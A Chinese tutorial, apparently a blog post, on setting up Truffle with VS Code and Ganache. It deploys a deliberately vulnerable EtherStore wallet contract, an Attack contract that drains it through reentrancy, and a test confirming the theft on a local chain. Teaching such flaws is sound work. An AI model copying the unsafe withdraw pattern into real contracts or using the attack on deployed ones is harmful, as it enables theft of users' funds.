智能合约安全漏洞Truffle工具使用流程,以及钱包合约漏洞攻击示例

1、前置环境安装

第一步、安装Truffle

首先我们需要先安装好node.js

利用npm 下载Truffle

# win+r 输入cmd打开终端 
npm install -g truffle

第二步、打开vscode 安装插件

插件名:Truffle for VS Code

466a716d10d64553bd4b6944b73944f7.png

 下载后在vscode打开 下载所需的环境

a06c8dae98214a109f0daea68dee5977.png2、truffle使用 

第一步、新建文件夹,打开cmd进行初始化

eea7619985604088aed2f14d0af8992b.png

进入终端 输入:truffle init 

93287d74720e47dbb337a612d8681843.png

 第二步、使用vscode打开该文件进行漏洞测试(下面使用常见的重入攻击漏洞进行示例)

使用vscode打开该文件

6c1495770de54a28aa3bb037e6e40592.png

一、导入合约 

 在migrations目录下新建有问题的合约EtherStore.sol和攻击合约Attack.sol

6ba535f3f1164ab0891588b62aab5697.png

c72e1891e27d4818a5c04be7c36ae635.png

 EtherStore.sol

pragma solidity >=0.8.3;
import "./Attack.sol";

contract EtherStore {
    mapping(address => uint) public balances;
    event Balance(uint256);

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        emit Balance(balances[msg.sender]);
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);        

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        
        balances[msg.sender] = 0; 
         
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Attack.sol 

pragma solidity >=0.8.3;
import "./EtherStore.sol";

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1);
        etherStore.deposit{value: 1}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

二、部署合约 

在migrations目录下新建 1_deploy_contract.js(多个迁移文件,开头必须加数字,表明迁移顺序)

 e2405136197a479c9df1d10f30448be3.png

 1_deploy_contract.js

const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");
module.exports = async function (deployer, network, accounts) {
    await deployer.deploy(EtherStore);
    const a = await EtherStore.deployed();
    await deployer.deploy(Attack,a.address);
}

 然后点进Truffle for vscode插件里,将本地的Ganache进行连接

新建工作区 

f431771fec8d48dcbda10f149e0d1cb5.png

 与本地的Ganache进行连接

04dc77976e594b5aa47c9e70944bd723.png

50f6a0af3a454feaa192c4e3c5eb353f.png

然后点开项目的配置文件(truffle-config.js)进行端口修改和sol语言版本修改 

f51af3f33c0c40bc963038e1d43d5775.pngeb328ab113024325b60f0739deba7fdd.png

 然后在vscode的控制台中输入两条指令,如若build目录下出现test.json即成功

1、输入 truffle compile 

 04911752906e4979aba46fed81286792.png

2、输入truffle migrate 

若出现下面截图内容,本地Ganache出现日志则代表部署成功

c36a749155c149a18b2df4f9a1e224c8.png 三、攻击合约脚本

在test目录下新建 1_test.js这个js文件

55c1a655e9c84f04ab044604fd99614d.png

 1_test.js

const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");

contract("ReEntrancy",async (accounts)=>{
    it("test re-enterancy loophole",async()=>{
        const depositInstance = await EtherStore.deployed();
        const attackInstance = await Attack.deployed();
        await depositInstance.deposit({from:accounts[0],value:1});
        await depositInstance.deposit({from:accounts[1],value:1});
        await attackInstance.attack({from:accounts[2],value:1});
        const balance = await attackInstance.getBalance();
        assert.equal(balance,3,"account[2] should be 3 beacuse of the re-entransy loophole");
        const balanceA = await depositInstance.getBalance();
        assert.equal(balanceA,0,"account[0] should be 3 beacuse of the re-entransy loophole");
    })
})

在控制台输入 truffle test 显示下面情况则表示攻击成功!!!

23e48b96202d4a24bd97a6347bc88bb3.png

最后检查本地Ganache是否调用

5a6d9ba155c94cfdb760afc423ac801f.png

3、关于EtherStore.sol钱包合约漏洞的修复以及讲解会在后续发出

 恭喜你已经学会truffle工具的使用流程!!!

 

 

  • 15
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值